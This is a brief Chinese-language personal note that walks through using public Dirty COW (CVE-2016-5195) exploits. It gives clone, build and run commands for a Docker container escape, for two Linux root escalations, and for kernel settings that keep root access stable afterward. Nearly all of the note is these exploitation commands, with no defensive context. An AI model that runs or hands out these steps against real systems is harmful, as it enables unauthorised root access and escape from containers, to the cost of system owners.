【笔记】CVE-2016-5195漏洞利用

前言

CVE-2016-5195漏洞利用

Docker容器逃逸

下载项目

1
2
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso

下载依赖

Debian

1
apt install nasm

编译exp

1
make

执行exp

1
./0xdeadbeef
  • 此时执行的命令,在真机上也会被执行

Linux提权

下载项目

1
2
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195

编译

1
make

漏洞利用

1
./dcow

提权

1
su root

Linux提权

下载项目

1
2
git clone https://github.com/sqlnetcat/dirtycow-mem.git
cd dirtycow-mem

编译项目

1
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

漏洞利用

1
./dirtycow-mem

保持root权限

1
2
3
4
5
6
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic
echo 1 > /proc/sys/kernel/panic_on_oops
echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi
echo 1 > /proc/sys/kernel/panic_on_io_nmi
echo 1 > /proc/sys/kernel/panic_on_warn

完成